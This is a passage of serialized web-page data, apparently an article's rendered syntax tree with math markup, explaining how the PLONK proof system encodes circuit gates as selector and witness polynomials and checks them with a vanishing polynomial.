rops":146379,"children":146381},{"className":146380},[304],[146382],{"type":25,"tag":216,"props":146383,"children":146385},{"className":146384,"style":2203},[309],[146386],{"type":25,"tag":216,"props":146387,"children":146388},{},[],{"type":31,"value":146390},", and output ",{"type":25,"tag":82,"props":146392,"children":146394},{"className":146393},[212,4696],[146395],{"type":25,"tag":216,"props":146396,"children":146398},{"className":146397},[224],[146399],{"type":25,"tag":216,"props":146400,"children":146402},{"className":146401,"ariaHidden":230},[229],[146403],{"type":25,"tag":216,"props":146404,"children":146406},{"className":146405},[235],[146407,146411],{"type":25,"tag":216,"props":146408,"children":146410},{"className":146409,"style":4821},[240],[],{"type":25,"tag":216,"props":146412,"children":146414},{"className":146413},[246],[146415,146420],{"type":25,"tag":216,"props":146416,"children":146418},{"className":146417},[246,2145],[146419],{"type":31,"value":96982},{"type":25,"tag":216,"props":146421,"children":146423},{"className":146422},[2153],[146424],{"type":25,"tag":216,"props":146425,"children":146427},{"className":146426},[298,299],[146428,146457],{"type":25,"tag":216,"props":146429,"children":146431},{"className":146430},[304],[146432,146452],{"type":25,"tag":216,"props":146433,"children":146435},{"className":146434,"style":2264},[309],[146436],{"type":25,"tag":216,"props":146437,"children":146438},{"style":2268},[146439,146443],{"type":25,"tag":216,"props":146440,"children":146442},{"className":146441,"style":2175},[319],[],{"type":25,"tag":216,"props":146444,"children":146446},{"className":146445},[2180,2181,2182,2183],[146447],{"type":25,"tag":216,"props":146448,"children":146450},{"className":146449},[246,2145,2183],[146451],{"type":31,"value":2283},{"type":25,"tag":216,"props":146453,"children":146455},{"className":146454},[408],[146456],{"type":31,"value":411},{"type":25,"tag":216,"props":146458,"children":146460},{"className":146459},[304],[146461],{"type":25,"tag":216,"props":146462,"children":146464},{"className":146463,"style":2203},[309],[146465],{"type":25,"tag":216,"props":146466,"children":146467},{},[],{"type":31,"value":146469},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":25,"tag":38,"props":146471,"children":146472},{},[146473,146475,146480,146482,146585,146587,146690,146692,146697],{"type":31,"value":146474},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":25,"tag":64,"props":146476,"children":146477},{},[146478],{"type":31,"value":146479},"selector",{"type":31,"value":146481}," values that act as switches: setting ",{"type":25,"tag":82,"props":146483,"children":146485},{"className":146484},[212,4696],[146486],{"type":25,"tag":216,"props":146487,"children":146489},{"className":146488},[224],[146490],{"type":25,"tag":216,"props":146491,"children":146493},{"className":146492,"ariaHidden":230},[229],[146494,146572],{"type":25,"tag":216,"props":146495,"children":146497},{"className":146496},[235],[146498,146502,146559,146563,146568],{"type":25,"tag":216,"props":146499,"children":146501},{"className":146500,"style":113882},[240],[],{"type":25,"tag":216,"props":146503,"children":146505},{"className":146504},[246],[146506,146511],{"type":25,"tag":216,"props":146507,"children":146509},{"className":146508,"style":2319},[246,2145],[146510],{"type":31,"value":97495},{"type":25,"tag":216,"props":146512,"children":146514},{"className":146513},[2153],[146515],{"type":25,"tag":216,"props":146516,"children":146518},{"className":146517},[298,299],[146519,146548],{"type":25,"tag":216,"props":146520,"children":146522},{"className":146521},[304],[146523,146543],{"type":25,"tag":216,"props":146524,"children":146526},{"className":146525,"style":2692},[309],[146527],{"type":25,"tag":216,"props":146528,"children":146529},{"style":2341},[146530,146534],{"type":25,"tag":216,"props":146531,"children":146533},{"className":146532,"style":2175},[319],[],{"type":25,"tag":216,"props":146535,"children":146537},{"className":146536},[2180,2181,2182,2183],[146538],{"type":25,"tag":216,"props":146539,"children":146541},{"className":146540,"style":2818},[246,2145,2183],[146542],{"type":31,"value":99012},{"type":25,"tag":216,"props":146544,"children":146546},{"className":146545},[408],[146547],{"type":31,"value":411},{"type":25,"tag":216,"props":146549,"children":146551},{"className":146550},[304],[146552],{"type":25,"tag":216,"props":146553,"children":146555},{"className":146554,"style":2203},[309],[146556],{"type":25,"tag":216,"props":146557,"children":146558},{},[],{"type":25,"tag":216,"props":146560,"children":146562},{"className":146561,"style":258},[257],[],{"type":25,"tag":216,"props":146564,"children":146566},{"className":146565},[263],[146567],{"type":31,"value":266},{"type":25,"tag":216,"props":146569,"children":146571},{"className":146570,"style":258},[257],[],{"type":25,"tag":216,"props":146573,"children":146575},{"className":146574},[235],[146576,146580],{"type":25,"tag":216,"props":146577,"children":146579},{"className":146578,"style":5287},[240],[],{"type":25,"tag":216,"props":146581,"children":146583},{"className":146582},[246],[146584],{"type":31,"value":184},{"type":31,"value":146586}," makes a row a multiplication gate, setting ",{"type":25,"tag":82,"props":146588,"children":146590},{"className":146589},[212,4696],[146591],{"type":25,"tag":216,"props":146592,"children":146594},{"className":146593},[224],[146595],{"type":25,"tag":216,"props":146596,"children":146598},{"className":146597,"ariaHidden":230},[229],[146599,146677],{"type":25,"tag":216,"props":146600,"children":146602},{"className":146601},[235],[146603,146607,146664,146668,146673],{"type":25,"tag":216,"props":146604,"children":146606},{"className":146605,"style":113882},[240],[],{"type":25,"tag":216,"props":146608,"children":146610},{"className":146609},[246],[146611,146616],{"type":25,"tag":216,"props":146612,"children":146614},{"className":146613,"style":2319},[246,2145],[146615],{"type":31,"value":97495},{"type":25,"tag":216,"props":146617,"children":146619},{"className":146618},[2153],[146620],{"type":25,"tag":216,"props":146621,"children":146623},{"className":146622},[298,299],[146624,146653],{"type":25,"tag":216,"props":146625,"children":146627},{"className":146626},[304],[146628,146648],{"type":25,"tag":216,"props":146629,"children":146631},{"className":146630,"style":2692},[309],[146632],{"type":25,"tag":216,"props":146633,"children":146634},{"style":2341},[146635,146639],{"type":25,"tag":216,"props":146636,"children":146638},{"className":146637,"style":2175},[319],[],{"type":25,"tag":216,"props":146640,"children":146642},{"className":146641},[2180,2181,2182,2183],[146643],{"type":25,"tag":216,"props":146644,"children":146646},{"className":146645},[246,2145,2183],[146647],{"type":31,"value":121941},{"type":25,"tag":216,"props":146649,"children":146651},{"className":146650},[408],[146652],{"type":31,"value":411},{"type":25,"tag":216,"props":146654,"children":146656},{"className":146655},[304],[146657],{"type":25,"tag":216,"props":146658,"children":146660},{"className":146659,"style":2203},[309],[146661],{"type":25,"tag":216,"props":146662,"children":146663},{},[],{"type":25,"tag":216,"props":146665,"children":146667},{"className":146666,"style":258},[257],[],{"type":25,"tag":216,"props":146669,"children":146671},{"className":146670},[263],[146672],{"type":31,"value":266},{"type":25,"tag":216,"props":146674,"children":146676},{"className":146675,"style":258},[257],[],{"type":25,"tag":216,"props":146678,"children":146680},{"className":146679},[235],[146681,146685],{"type":25,"tag":216,"props":146682,"children":146684},{"className":146683,"style":5287},[240],[],{"type":25,"tag":216,"props":146686,"children":146688},{"className":146687},[246],[146689],{"type":31,"value":184},{"type":31,"value":146691}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":25,"tag":64,"props":146693,"children":146694},{},[146695],{"type":31,"value":146696},"permutation argument",{"type":31,"value":146698}," for that, which we will not cover here.",{"type":25,"tag":607,"props":146700,"children":146702},{"id":146701},"from-many-checks-to-one",[146703],{"type":31,"value":146704},"From many checks to one",{"type":25,"tag":38,"props":146706,"children":146707},{},[146708,146710,146715,146716,146808,146809,146901,146902,146994,146996,147001,147002,147094,147095,147187,147189,147214,147216,147241,147243,147335,147337,147362,147364,147389],{"type":31,"value":146709},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":25,"tag":64,"props":146711,"children":146712},{},[146713],{"type":31,"value":146714},"witness polynomials",{"type":31,"value":10403},{"type":25,"tag":82,"props":146717,"children":146719},{"className":146718},[212,4696],[146720],{"type":25,"tag":216,"props":146721,"children":146723},{"className":146722},[224],[146724],{"type":25,"tag":216,"props":146725,"children":146727},{"className":146726,"ariaHidden":230},[229],[146728],{"type":25,"tag":216,"props":146729,"children":146731},{"className":146730},[235],[146732,146736,146793,146798,146803],{"type":25,"tag":216,"props":146733,"children":146735},{"className":146734,"style":5507},[240],[],{"type":25,"tag":216,"props":146737,"children":146739},{"className":146738},[246],[146740,146745],{"type":25,"tag":216,"props":146741,"children":146743},{"className":146742,"style":99353},[246,2145],[146744],{"type":31,"value":37041},{"type":25,"tag":216,"props":146746,"children":146748},{"className":146747},[2153],[146749],{"type":25,"tag":216,"props":146750,"children":146752},{"className":146751},[298,299],[146753,146782],{"type":25,"tag":216,"props":146754,"children":146756},{"className":146755},[304],[146757,146777],{"type":25,"tag":216,"props":146758,"children":146760},{"className":146759,"style":2692},[309],[146761],{"type":25,"tag":216,"props":146762,"children":146763},{"style":99374},[146764,146768],{"type":25,"tag":216,"props":146765,"children":146767},{"className":146766,"style":2175},[319],[],{"type":25,"tag":216,"props":146769,"children":146771},{"className":146770},[2180,2181,2182,2183],[146772],{"type":25,"tag":216,"props":146773,"children":146775},{"className":146774},[246,2145,2183],[146776],{"type":31,"value":121941},{"type":25,"tag":216,"props":146778,"children":146780},{"className":146779},[408],[146781],{"type":31,"value":411},{"type":25,"tag":216,"props":146783,"children":146785},{"className":146784},[304],[146786],{"type":25,"tag":216,"props":146787,"children":146789},{"className":146788,"style":2203},[309],[146790],{"type":25,"tag":216,"props":146791,"children":146792},{},[],{"type":25,"tag":216,"props":146794,"children":146796},{"className":146795},[287],[146797],{"type":31,"value":1844},{"type":25,"tag":216,"props":146799,"children":146801},{"className":146800},[246,2145],[146802],{"type":31,"value":2535},{"type":25,"tag":216,"props":146804,"children":146806},{"className":146805},[427],[146807],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":146810,"children":146812},{"className":146811},[212,4696],[146813],{"type":25,"tag":216,"props":146814,"children":146816},{"className":146815},[224],[146817],{"type":25,"tag":216,"props":146818,"children":146820},{"className":146819,"ariaHidden":230},[229],[146821],{"type":25,"tag":216,"props":146822,"children":146824},{"className":146823},[235],[146825,146829,146886,146891,146896],{"type":25,"tag":216,"props":146826,"children":146828},{"className":146827,"style":5507},[240],[],{"type":25,"tag":216,"props":146830,"children":146832},{"className":146831},[246],[146833,146838],{"type":25,"tag":216,"props":146834,"children":146836},{"className":146835,"style":99353},[246,2145],[146837],{"type":31,"value":37041},{"type":25,"tag":216,"props":146839,"children":146841},{"className":146840},[2153],[146842],{"type":25,"tag":216,"props":146843,"children":146845},{"className":146844},[298,299],[146846,146875],{"type":25,"tag":216,"props":146847,"children":146849},{"className":146848},[304],[146850,146870],{"type":25,"tag":216,"props":146851,"children":146853},{"className":146852,"style":2692},[309],[146854],{"type":25,"tag":216,"props":146855,"children":146856},{"style":99374},[146857,146861],{"type":25,"tag":216,"props":146858,"children":146860},{"className":146859,"style":2175},[319],[],{"type":25,"tag":216,"props":146862,"children":146864},{"className":146863},[2180,2181,2182,2183],[146865],{"type":25,"tag":216,"props":146866,"children":146868},{"className":146867,"style":2890},[246,2145,2183],[146869],{"type":31,"value":2893},{"type":25,"tag":216,"props":146871,"children":146873},{"className":146872},[408],[146874],{"type":31,"value":411},{"type":25,"tag":216,"props":146876,"children":146878},{"className":146877},[304],[146879],{"type":25,"tag":216,"props":146880,"children":146882},{"className":146881,"style":2203},[309],[146883],{"type":25,"tag":216,"props":146884,"children":146885},{},[],{"type":25,"tag":216,"props":146887,"children":146889},{"className":146888},[287],[146890],{"type":31,"value":1844},{"type":25,"tag":216,"props":146892,"children":146894},{"className":146893},[246,2145],[146895],{"type":31,"value":2535},{"type":25,"tag":216,"props":146897,"children":146899},{"className":146898},[427],[146900],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":146903,"children":146905},{"className":146904},[212,4696],[146906],{"type":25,"tag":216,"props":146907,"children":146909},{"className":146908},[224],[146910],{"type":25,"tag":216,"props":146911,"children":146913},{"className":146912,"ariaHidden":230},[229],[146914],{"type":25,"tag":216,"props":146915,"children":146917},{"className":146916},[235],[146918,146922,146979,146984,146989],{"type":25,"tag":216,"props":146919,"children":146921},{"className":146920,"style":5507},[240],[],{"type":25,"tag":216,"props":146923,"children":146925},{"className":146924},[246],[146926,146931],{"type":25,"tag":216,"props":146927,"children":146929},{"className":146928,"style":99353},[246,2145],[146930],{"type":31,"value":37041},{"type":25,"tag":216,"props":146932,"children":146934},{"className":146933},[2153],[146935],{"type":25,"tag":216,"props":146936,"children":146938},{"className":146937},[298,299],[146939,146968],{"type":25,"tag":216,"props":146940,"children":146942},{"className":146941},[304],[146943,146963],{"type":25,"tag":216,"props":146944,"children":146946},{"className":146945,"style":2692},[309],[146947],{"type":25,"tag":216,"props":146948,"children":146949},{"style":99374},[146950,146954],{"type":25,"tag":216,"props":146951,"children":146953},{"className":146952,"style":2175},[319],[],{"type":25,"tag":216,"props":146955,"children":146957},{"className":146956},[2180,2181,2182,2183],[146958],{"type":25,"tag":216,"props":146959,"children":146961},{"className":146960,"style":2746},[246,2145,2183],[146962],{"type":31,"value":119296},{"type":25,"tag":216,"props":146964,"children":146966},{"className":146965},[408],[146967],{"type":31,"value":411},{"type":25,"tag":216,"props":146969,"children":146971},{"className":146970},[304],[146972],{"type":25,"tag":216,"props":146973,"children":146975},{"className":146974,"style":2203},[309],[146976],{"type":25,"tag":216,"props":146977,"children":146978},{},[],{"type":25,"tag":216,"props":146980,"children":146982},{"className":146981},[287],[146983],{"type":31,"value":1844},{"type":25,"tag":216,"props":146985,"children":146987},{"className":146986},[246,2145],[146988],{"type":31,"value":2535},{"type":25,"tag":216,"props":146990,"children":146992},{"className":146991},[427],[146993],{"type":31,"value":1882},{"type":31,"value":146995}," and the selectors become ",{"type":25,"tag":64,"props":146997,"children":146998},{},[146999],{"type":31,"value":147000},"selector polynomials",{"type":31,"value":10403},{"type":25,"tag":82,"props":147003,"children":147005},{"className":147004},[212,4696],[147006],{"type":25,"tag":216,"props":147007,"children":147009},{"className":147008},[224],[147010],{"type":25,"tag":216,"props":147011,"children":147013},{"className":147012,"ariaHidden":230},[229],[147014],{"type":25,"tag":216,"props":147015,"children":147017},{"className":147016},[235],[147018,147022,147079,147084,147089],{"type":25,"tag":216,"props":147019,"children":147021},{"className":147020,"style":5507},[240],[],{"type":25,"tag":216,"props":147023,"children":147025},{"className":147024},[246],[147026,147031],{"type":25,"tag":216,"props":147027,"children":147029},{"className":147028},[246,2145],[147030],{"type":31,"value":80768},{"type":25,"tag":216,"props":147032,"children":147034},{"className":147033},[2153],[147035],{"type":25,"tag":216,"props":147036,"children":147038},{"className":147037},[298,299],[147039,147068],{"type":25,"tag":216,"props":147040,"children":147042},{"className":147041},[304],[147043,147063],{"type":25,"tag":216,"props":147044,"children":147046},{"className":147045,"style":2692},[309],[147047],{"type":25,"tag":216,"props":147048,"children":147049},{"style":2268},[147050,147054],{"type":25,"tag":216,"props":147051,"children":147053},{"className":147052,"style":2175},[319],[],{"type":25,"tag":216,"props":147055,"children":147057},{"className":147056},[2180,2181,2182,2183],[147058],{"type":25,"tag":216,"props":147059,"children":147061},{"className":147060,"style":2818},[246,2145,2183],[147062],{"type":31,"value":99012},{"type":25,"tag":216,"props":147064,"children":147066},{"className":147065},[408],[147067],{"type":31,"value":411},{"type":25,"tag":216,"props":147069,"children":147071},{"className":147070},[304],[147072],{"type":25,"tag":216,"props":147073,"children":147075},{"className":147074,"style":2203},[309],[147076],{"type":25,"tag":216,"props":147077,"children":147078},{},[],{"type":25,"tag":216,"props":147080,"children":147082},{"className":147081},[287],[147083],{"type":31,"value":1844},{"type":25,"tag":216,"props":147085,"children":147087},{"className":147086},[246,2145],[147088],{"type":31,"value":2535},{"type":25,"tag":216,"props":147090,"children":147092},{"className":147091},[427],[147093],{"type":31,"value":1882},{"type":31,"value":7020},{"type":25,"tag":82,"props":147096,"children":147098},{"className":147097},[212,4696],[147099],{"type":25,"tag":216,"props":147100,"children":147102},{"className":147101},[224],[147103],{"type":25,"tag":216,"props":147104,"children":147106},{"className":147105,"ariaHidden":230},[229],[147107],{"type":25,"tag":216,"props":147108,"children":147110},{"className":147109},[235],[147111,147115,147172,147177,147182],{"type":25,"tag":216,"props":147112,"children":147114},{"className":147113,"style":5507},[240],[],{"type":25,"tag":216,"props":147116,"children":147118},{"className":147117},[246],[147119,147124],{"type":25,"tag":216,"props":147120,"children":147122},{"className":147121},[246,2145],[147123],{"type":31,"value":80768},{"type":25,"tag":216,"props":147125,"children":147127},{"className":147126},[2153],[147128],{"type":25,"tag":216,"props":147129,"children":147131},{"className":147130},[298,299],[147132,147161],{"type":25,"tag":216,"props":147133,"children":147135},{"className":147134},[304],[147136,147156],{"type":25,"tag":216,"props":147137,"children":147139},{"className":147138,"style":2692},[309],[147140],{"type":25,"tag":216,"props":147141,"children":147142},{"style":2268},[147143,147147],{"type":25,"tag":216,"props":147144,"children":147146},{"className":147145,"style":2175},[319],[],{"type":25,"tag":216,"props":147148,"children":147150},{"className":147149},[2180,2181,2182,2183],[147151],{"type":25,"tag":216,"props":147152,"children":147154},{"className":147153},[246,2145,2183],[147155],{"type":31,"value":121941},{"type":25,"tag":216,"props":147157,"children":147159},{"className":147158},[408],[147160],{"type":31,"value":411},{"type":25,"tag":216,"props":147162,"children":147164},{"className":147163},[304],[147165],{"type":25,"tag":216,"props":147166,"children":147168},{"className":147167,"style":2203},[309],[147169],{"type":25,"tag":216,"props":147170,"children":147171},{},[],{"type":25,"tag":216,"props":147173,"children":147175},{"className":147174},[287],[147176],{"type":31,"value":1844},{"type":25,"tag":216,"props":147178,"children":147180},{"className":147179},[246,2145],[147181],{"type":31,"value":2535},{"type":25,"tag":216,"props":147183,"children":147185},{"className":147184},[427],[147186],{"type":31,"value":1882},{"type":31,"value":147188},", etc., all interpolated over a domain ",{"type":25,"tag":82,"props":147190,"children":147192},{"className":147191},[212,4696],[147193],{"type":25,"tag":216,"props":147194,"children":147196},{"className":147195},[224],[147197],{"type":25,"tag":216,"props":147198,"children":147200},{"className":147199,"ariaHidden":230},[229],[147201],{"type":25,"tag":216,"props":147202,"children":147204},{"className":147203},[235],[147205,147209],{"type":25,"tag":216,"props":147206,"children":147208},{"className":147207,"style":4793},[240],[],{"type":25,"tag":216,"props":147210,"children":147212},{"className":147211,"style":2673},[246,2145],[147213],{"type":31,"value":2676},{"type":31,"value":147215}," of ",{"type":25,"tag":82,"props":147217,"children":147219},{"className":147218},[212,4696],[147220],{"type":25,"tag":216,"props":147221,"children":147223},{"className":147222},[224],[147224],{"type":25,"tag":216,"props":147225,"children":147227},{"className":147226,"ariaHidden":230},[229],[147228],{"type":25,"tag":216,"props":147229,"children":147231},{"className":147230},[235],[147232,147236],{"type":25,"tag":216,"props":147233,"children":147235},{"className":147234,"style":6309},[240],[],{"type":25,"tag":216,"props":147237,"children":147239},{"className":147238},[246,2145],[147240],{"type":31,"value":2190},{"type":31,"value":147242},"-th roots of unity. Evaluating ",{"type":25,"tag":82,"props":147244,"children":147246},{"className":147245},[212,4696],[147247],{"type":25,"tag":216,"props":147248,"children":147250},{"className":147249},[224],[147251],{"type":25,"tag":216,"props":147252,"children":147254},{"className":147253,"ariaHidden":230},[229],[147255],{"type":25,"tag":216,"props":147256,"children":147258},{"className":147257},[235],[147259,147263,147320,147325,147330],{"type":25,"tag":216,"props":147260,"children":147262},{"className":147261,"style":5507},[240],[],{"type":25,"tag":216,"props":147264,"children":147266},{"className":147265},[246],[147267,147272],{"type":25,"tag":216,"props":147268,"children":147270},{"className":147269,"style":99353},[246,2145],[147271],{"type":31,"value":37041},{"type":25,"tag":216,"props":147273,"children":147275},{"className":147274},[2153],[147276],{"type":25,"tag":216,"props":147277,"children":147279},{"className":147278},[298,299],[147280,147309],{"type":25,"tag":216,"props":147281,"children":147283},{"className":147282},[304],[147284,147304],{"type":25,"tag":216,"props":147285,"children":147287},{"className":147286,"style":2692},[309],[147288],{"type":25,"tag":216,"props":147289,"children":147290},{"style":99374},[147291,147295],{"type":25,"tag":216,"props":147292,"children":147294},{"className":147293,"style":2175},[319],[],{"type":25,"tag":216,"props":147296,"children":147298},{"className":147297},[2180,2181,2182,2183],[147299],{"type":25,"tag":216,"props":147300,"children":147302},{"className":147301},[246,2145,2183],[147303],{"type":31,"value":121941},{"type":25,"tag":216,"props":147305,"children":147307},{"className":147306},[408],[147308],{"type":31,"value":411},{"type":25,"tag":216,"props":147310,"children":147312},{"className":147311},[304],[147313],{"type":25,"tag":216,"props":147314,"children":147316},{"className":147315,"style":2203},[309],[147317],{"type":25,"tag":216,"props":147318,"children":147319},{},[],{"type":25,"tag":216,"props":147321,"children":147323},{"className":147322},[287],[147324],{"type":31,"value":1844},{"type":25,"tag":216,"props":147326,"children":147328},{"className":147327},[246,2145],[147329],{"type":31,"value":2535},{"type":25,"tag":216,"props":147331,"children":147333},{"className":147332},[427],[147334],{"type":31,"value":1882},{"type":31,"value":147336}," at the ",{"type":25,"tag":82,"props":147338,"children":147340},{"className":147339},[212,4696],[147341],{"type":25,"tag":216,"props":147342,"children":147344},{"className":147343},[224],[147345],{"type":25,"tag":216,"props":147346,"children":147348},{"className":147347,"ariaHidden":230},[229],[147349],{"type":25,"tag":216,"props":147350,"children":147352},{"className":147351},[235],[147353,147357],{"type":25,"tag":216,"props":147354,"children":147356},{"className":147355,"style":146223},[240],[],{"type":25,"tag":216,"props":147358,"children":147360},{"className":147359},[246,2145],[147361],{"type":31,"value":2283},{"type":31,"value":147363},"-th root recovers the left wire value at row ",{"type":25,"tag":82,"props":147365,"children":147367},{"className":147366},[212,4696],[147368],{"type":25,"tag":216,"props":147369,"children":147371},{"className":147370},[224],[147372],{"type":25,"tag":216,"props":147373,"children":147375},{"className":147374,"ariaHidden":230},[229],[147376],{"type":25,"tag":216,"props":147377,"children":147379},{"className":147378},[235],[147380,147384],{"type":25,"tag":216,"props":147381,"children":147383},{"className":147382,"style":146223},[240],[],{"type":25,"tag":216,"props":147385,"children":147387},{"className":147386},[246,2145],[147388],{"type":31,"value":2283},{"type":31,"value":179},{"type":25,"tag":147391,"props":147392,"children":147393},"polynomial-interpolation-panel",{},[],{"type":25,"tag":38,"props":147395,"children":147396},{},[147397,147399,147439,147441,147507,147509,147639,147641,147681,147683,147723,147725,147765,147766,147888],{"type":31,"value":147398},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":25,"tag":82,"props":147400,"children":147402},{"className":147401},[212,4696],[147403],{"type":25,"tag":216,"props":147404,"children":147406},{"className":147405},[224],[147407],{"type":25,"tag":216,"props":147408,"children":147410},{"className":147409,"ariaHidden":230},[229],[147411],{"type":25,"tag":216,"props":147412,"children":147414},{"className":147413},[235],[147415,147419,147424,147429,147434],{"type":25,"tag":216,"props":147416,"children":147418},{"className":147417,"style":5507},[240],[],{"type":25,"tag":216,"props":147420,"children":147422},{"className":147421,"style":2146},[246,2145],[147423],{"type":31,"value":5941},{"type":25,"tag":216,"props":147425,"children":147427},{"className":147426},[287],[147428],{"type":31,"value":1844},{"type":25,"tag":216,"props":147430,"children":147432},{"className":147431},[246,2145],[147433],{"type":31,"value":2535},{"type":25,"tag":216,"props":147435,"children":147437},{"className":147436},[427],[147438],{"type":31,"value":1882},{"type":31,"value":147440}," that combines selectors and witnesses. If the prover was honest, ",{"type":25,"tag":82,"props":147442,"children":147444},{"className":147443},[212,4696],[147445],{"type":25,"tag":216,"props":147446,"children":147448},{"className":147447},[224],[147449],{"type":25,"tag":216,"props":147450,"children":147452},{"className":147451,"ariaHidden":230},[229],[147453,147494],{"type":25,"tag":216,"props":147454,"children":147456},{"className":147455},[235],[147457,147461,147466,147471,147476,147481,147485,147490],{"type":25,"tag":216,"props":147458,"children":147460},{"className":147459,"style":5507},[240],[],{"type":25,"tag":216,"props":147462,"children":147464},{"className":147463,"style":2146},[246,2145],[147465],{"type":31,"value":5941},{"type":25,"tag":216,"props":147467,"children":147469},{"className":147468},[287],[147470],{"type":31,"value":1844},{"type":25,"tag":216,"props":147472,"children":147474},{"className":147473},[246,2145],[147475],{"type":31,"value":2535},{"type":25,"tag":216,"props":147477,"children":147479},{"className":147478},[427],[147480],{"type":31,"value":1882},{"type":25,"tag":216,"props":147482,"children":147484},{"className":147483,"style":258},[257],[],{"type":25,"tag":216,"props":147486,"children":147488},{"className":147487},[263],[147489],{"type":31,"value":266},{"type":25,"tag":216,"props":147491,"children":147493},{"className":147492,"style":258},[257],[],{"type":25,"tag":216,"props":147495,"children":147497},{"className":147496},[235],[147498,147502],{"type":25,"tag":216,"props":147499,"children":147501},{"className":147500,"style":5287},[240],[],{"type":25,"tag":216,"props":147503,"children":147505},{"className":147504},[246],[147506],{"type":31,"value":1876},{"type":31,"value":147508}," at every row index in the domain. The vanishing polynomial ",{"type":25,"tag":82,"props":147510,"children":147512},{"className":147511},[212,4696],[147513],{"type":25,"tag":216,"props":147514,"children":147516},{"className":147515},[224],[147517],{"type":25,"tag":216,"props":147518,"children":147520},{"className":147519,"ariaHidden":230},[229],[147521,147563,147626],{"type":25,"tag":216,"props":147522,"children":147524},{"className":147523},[235],[147525,147529,147535,147540,147545,147550,147554,147559],{"type":25,"tag":216,"props":147526,"children":147528},{"className":147527,"style":5507},[240],[],{"type":25,"tag":216,"props":147530,"children":147532},{"className":147531,"style":26059},[246,2145],[147533],{"type":31,"value":147534},"Z",{"type":25,"tag":216,"props":147536,"children":147538},{"className":147537},[287],[147539],{"type":31,"value":1844},{"type":25,"tag":216,"props":147541,"children":147543},{"className":147542},[246,2145],[147544],{"type":31,"value":2535},{"type":25,"tag":216,"props":147546,"children":147548},{"className":147547},[427],[147549],{"type":31,"value":1882},{"type":25,"tag":216,"props":147551,"children":147553},{"className":147552,"style":258},[257],[],{"type":25,"tag":216,"props":147555,"children":147557},{"className":147556},[263],[147558],{"type":31,"value":266},{"type":25,"tag":216,"props":147560,"children":147562},{"className":147561,"style":258},[257],[],{"type":25,"tag":216,"props":147564,"children":147566},{"className":147565},[235],[147567,147572,147613,147617,147622],{"type":25,"tag":216,"props":147568,"children":147571},{"className":147569,"style":147570},[240],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":25,"tag":216,"props":147573,"children":147575},{"className":147574},[246],[147576,147581],{"type":25,"tag":216,"props":147577,"children":147579},{"className":147578},[246,2145],[147580],{"type":31,"value":2535},{"type":25,"tag":216,"props":147582,"children":147584},{"className":147583},[2153],[147585],{"type":25,"tag":216,"props":147586,"children":147588},{"className":147587},[298],[147589],{"type":25,"tag":216,"props":147590,"children":147592},{"className":147591},[304],[147593],{"type":25,"tag":216,"props":147594,"children":147596},{"className":147595,"style":6077},[309],[147597],{"type":25,"tag":216,"props":147598,"children":147599},{"style":6098},[147600,147604],{"type":25,"tag":216,"props":147601,"children":147603},{"className":147602,"style":2175},[319],[],{"type":25,"tag":216,"props":147605,"children":147607},{"className":147606},[2180,2181,2182,2183],[147608],{"type":25,"tag":216,"props":147609,"children":147611},{"className":147610},[246,2145,2183],[147612],{"type":31,"value":2190},{"type":25,"tag":216,"props":147614,"children":147616},{"className":147615,"style":335},[257],[],{"type":25,"tag":216,"props":147618,"children":147620},{"className":147619},[340],[147621],{"type":31,"value":3372},{"type":25,"tag":216,"props":147623,"children":147625},{"className":147624,"style":335},[257],[],{"type":25,"tag":216,"props":147627,"children":147629},{"className":147628},[235],[147630,147634],{"type":25,"tag":216,"props":147631,"children":147633},{"className":147632,"style":5287},[240],[],{"type":25,"tag":216,"props":147635,"children":147637},{"className":147636},[246],[147638],{"type":31,"value":184},{"type":31,"value":147640}," is zero on exactly those points, so if all constraints hold then ",{"type":25,"tag":82,"props":147642,"children":147644},{"className":147643},[212,4696],[147645],{"type":25,"tag":216,"props":147646,"children":147648},{"className":147647},[224],[147649],{"type":25,"tag":216,"props":147650,"children":147652},{"className":147651,"ariaHidden":230},[229],[147653],{"type":25,"tag":216,"props":147654,"children":147656},{"className":147655},[235],[147657,147661,147666,147671,147676],{"type":25,"tag":216,"props":147658,"children":147660},{"className":147659,"style":5507},[240],[],{"type":25,"tag":216,"props":147662,"children":147664},{"className":147663,"style":26059},[246,2145],[147665],{"type":31,"value":147534},{"type":25,"tag":216,"props":147667,"children":147669},{"className":147668},[287],[147670],{"type":31,"value":1844},{"type":25,"tag":216,"props":147672,"children":147674},{"className":147673},[246,2145],[147675],{"type":31,"value":2535},{"type":25,"tag":216,"props":147677,"children":147679},{"className":147678},[427],[147680],{"type":31,"value":1882},{"type":31,"value":147682}," divides ",{"type":25,"tag":82,"props":147684,"children":147686},{"className":147685},[212,4696],[147687],{"type":25,"tag":216,"props":147688,"children":147690},{"className":147689},[224],[147691],{"type":25,"tag":216,"props":147692,"children":147694},{"className":147693,"ariaHidden":230},[229],[147695],{"type":25,"tag":216,"props":147696,"children":147698},{"className":147697},[235],[147699,147703,147708,147713,147718],{"type":25,"tag":216,"props":147700,"children":147702},{"className":147701,"style":5507},[240],[],{"type":25,"tag":216,"props":147704,"children":147706},{"className":147705,"style":2146},[246,2145],[147707],{"type":31,"value":5941},{"type":25,"tag":216,"props":147709,"children":147711},{"className":147710},[287],[147712],{"type":31,"value":1844},{"type":25,"tag":216,"props":147714,"children":147716},{"className":147715},[246,2145],[147717],{"type":31,"value":2535},{"type":25,"tag":216,"props":147719,"children":147721},{"className":147720},[427],[147722],{"type":31,"value":1882},{"type":31,"value":147724},", yielding a quotient polynomial 